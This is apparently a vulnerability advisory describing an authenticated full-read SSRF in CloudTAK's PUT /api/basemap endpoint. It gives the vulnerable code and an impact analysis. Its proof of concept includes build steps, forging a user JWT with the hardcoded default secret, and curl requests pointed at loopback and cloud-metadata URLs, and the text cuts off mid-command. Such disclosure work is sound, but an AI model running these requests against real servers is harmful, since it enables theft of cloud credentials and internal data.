Résumé
TAK-PS-Stats Web UI: Authenticated full-read SSRF in CloudTAK basemap import (PUT /api/basemap) — no IP-classification guard
Détails de l’avis
Summary
PUT /api/basemap (the basemap import endpoint) fetches an attacker-supplied URL server-side with no SSRF protection whatsoever. Any authenticated user can submit a JSON body { "type": "...", "url": "<attacker url>" }; the server calls fetch(url) against that URL and then reflects the response body (name, attribution, tiles[0], zoom levels) back to the caller in the OptionalTileJSON response.
Because there is no IP-address classification, internal-only services are reachable: cloud metadata (http://169.254.169.254/...), loopback (http://127.0.0.1/...), RFC1918 ranges, and CGNAT. The response body flows back to the attacker, making this a full-read SSRF (not blind): the attacker reads the internal HTTP response verbatim. This enables theft of cloud instance credentials, internal service enumeration, and reading of internal-only HTTP endpoints from the network position of the CloudTAK API server.
The only URL check in the basemap protocol layer (BasemapProtocol.isValidURL, api/lib/interface-basemap.ts) validates the scheme is http/https only and performs no host/IP filtering — and the import path does not even call it; it goes straight from new URL(rawURL) to fetch(url).
Three independent bypass classes were confirmed end-to-end against a real deployed build:
- Direct internal/loopback IP literals.
- Alternate IP encodings (e.g. decimal
http://2130706433/=127.0.0.1). - Redirect following —
fetchuses the defaultredirect: 'follow', so even a public initial host that 302-redirects to an internal address is followed with no re-validation.
Vulnerable code (file:line)
api/routes/basemap.ts — importBasemapURL() and the PUT /basemap handler (line numbers at commit 90d43bdd2fb7d9bd57cbce28c709d9e5207a475a):
// api/routes/basemap.ts
async function importBasemapURL(
config: Config,
rawURL: string,
auth?: Static<typeof BasemapImportAuth>,
): Promise<Static<typeof OptionalTileJSON>> {
const imported: Static<typeof OptionalTileJSON> = { type: Basemap_Type.RASTER };
let url: URL;
try {
url = new URL(rawURL); // (1) only well-formedness is checked
} catch (err) {
throw new Err(400, err instanceof Error ? err : new Error(String(err)), 'Invalid URL');
}
if (isEsriLayerURL(String(url))) { /* ... ESRI proxy path ... */ }
const tjres = await fetch(url); // (2) SSRF sink — no host/IP guard, default redirect:follow
if (!tjres.ok) throw new Err(400, null, 'Unable to fetch TileJSON from source URL');
const tjbody = await tjres.json() as Record<string, any>;
if (tjbody.name) imported.name = tjbody.name; // (3) internal response reflected to caller
if (tjbody.attribution) imported.attribution = tjbody.attribution;
if (Array.isArray(tjbody.tiles) && tjbody.tiles.length) {
imported.url = tjbody.tiles[0]...;
}
return imported;
}
The handler at api/routes/basemap.ts L139–L233 mounts this as PUT /api/basemap and gates it only with Auth.is_auth(config, req) (L157), i.e. any authenticated user with application/json body { type, url } reaches importBasemapURL((req.body).url, (req.body).auth).
BasemapProtocol.isValidURL at api/lib/interface-basemap.ts L136 — the only "validation" in the protocol layer — checks the scheme only and performs no IP filtering:
How input reaches the sink
- Attacker authenticates as any CloudTAK user (any role) and obtains a bearer token.
- Attacker sends
PUT /api/basemapwithContent-Type: application/jsonand body{ "type": "...", "url": "<attacker url>" }. - Handler
api/routes/basemap.tsL155–L233 callsAuth.is_auth(config, req)(L157, any authenticated user passes) thenimportBasemapURL(config, (req.body).url, (req.body).auth)(L233). importBasemapURL(L68) doesnew URL(rawURL)(L79) and, for non-ESRI URLs, reachesconst tjres = await fetch(url)(L99) — the SSRF sink. No host/IP classification occurs anywhere on this path;fetchuses the defaultredirect: 'follow'.- The response JSON is parsed (L104) and
name/attribution/tiles[0]are copied into the response object (L106–L117) and returned to the attacker — closing the read loop.
Impact
Server-side full-read SSRF from the network position of the CloudTAK API server, reachable by any single authenticated user:
- Read the cloud instance metadata endpoint (
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>) and exfiltrate temporary IAM credentials. - Reach and read internal-only HTTP services (databases' HTTP UIs, admin panels, other microservices) not exposed to the internet.
- Enumerate internal hosts/ports via response/timing differences.
Because the fetched body is reflected back to the caller, the attack is non-blind (full response disclosure), not merely a blind request-forgery.
Proof of concept
End-to-end reproduction against a real deployed CloudTAK API server (not a unit harness). An internal-only sentinel HTTP service is bound to 127.0.0.1:9000 (loopback only, unreachable from outside the host) and returns a TileJSON body carrying secret marker values; the proof is that the CloudTAK server fetches it server-side and reflects those secrets back to the attacker.
- Pinned install / build (v13.5.0, commit
64bc1886ff56b62f53d765d69ac90ff9fc23b54b):
git clone https://github.com/dfpc-coe/CloudTAK.git
cd CloudTAK && git checkout v13.5.0
cd api && npm ci
# Postgres reachable at postgres://postgres@localhost:5432/tak_ps_etl (PostGIS-enabled)
- Deploy the real API server (test stack: SigningSecret defaults to the hardcoded
coe-wildland-fire, migrations auto-apply, a default server row is auto-generated):
cd api
StackName=test \
SigningSecret=coe-wildland-fire \
POSTGRES='postgres://postgres@localhost:5432/tak_ps_etl' \
API_URL='http://localhost:5001' \
npx tsx index.ts --noevents --nosinks --nogeofence
# => "ok - http://localhost:5001"
- Internal-only sentinel (
internal_sentinel.js) — simulates an internal HTTP service / metadata endpoint, bound to loopback only:
const http = require('http');
const fs = require('fs');
const srv = http.createServer((req, res) => {
fs.appendFileSync('/tmp/ssrf_sentinel_hits.log',
`[HIT ${new Date().toISOString()}] ${req.method} ${req.url} from=${req.socket.remoteAddress}\n`);
res.setHeader('Content-Type', 'application/json');
res.end(JSON.stringify({
name: 'INTERNAL-METADATA-aws-iam-role-SECRET-7f3a9c',
attribution: 'leaked-internal-credential::AKIA-SENTINEL-DO-NOT-REDACT-9b2e',
tiles: ['http://127.0.0.1:9000/internal/{z}/{x}/{y}.png'],
minzoom: 0, maxzoom: 19
}));
});
srv.listen(9000, '127.0.0.1', () => console.log('sentinel on 127.0.0.1:9000 (internal-only)'));
node internal_sentinel.js &
# A redirector for the redirect-follow variant, also loopback-only:
node -e "require('http').createServer((q,r)=>{r.writeHead(302,{Location:'http://127.0.0.1:9000/via-302-redirect'});r.end();}).listen(9100,'127.0.0.1')" &
- Attacker driver — mint a normal user JWT (signed with the deployed
SigningSecret) and issue the three requests:
TOK=$(node -e "console.log(require('jsonwebtoken').sign({email:'attacker@evil.test',access:'user'},'coe-wildland-fire'))")
# (a) loopback / metadata-style path
curl -s -X PUT http://localhost:5001/api/basemap \
-H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \
-d '{"type":"raster","url":"http://127.0.0.1:9000/latest/meta-data/iam/security-credentials/"}'
# (b) decimal-IP encoding of 127.0.0.1
curl -s -X PUT http://localhost:5001/api/basemap \
-H "Authorization: Bearer $T
Références
Vulnérabilités liées
Tout Supply chain →- CRITICALCVE-2026-75856
CodeWhale: SSRF bypass - TOCTOU on DNS failure for DNS pinning
- CRITICALCVE-2026-71428
unstructured: Server-Side Request Forgery in the URL-based partitioning
- HIGHCVE-2026-65842
Plate: SSRF with response disclosure in DOCX image embedding
- HIGHCVE-2026-61704
link-preview-js DNS Rebinding SSRF Bypass / Incomplete Fix for CVE-2026-43897
- HIGHCVE-2026-75975
fast-uri vulnerable to server-side request forgery via malformed IPv6 normalization
- HIGHCVE-2026-75899
fast-uri vulnerable to server-side request forgery via repeated hostname percent-decoding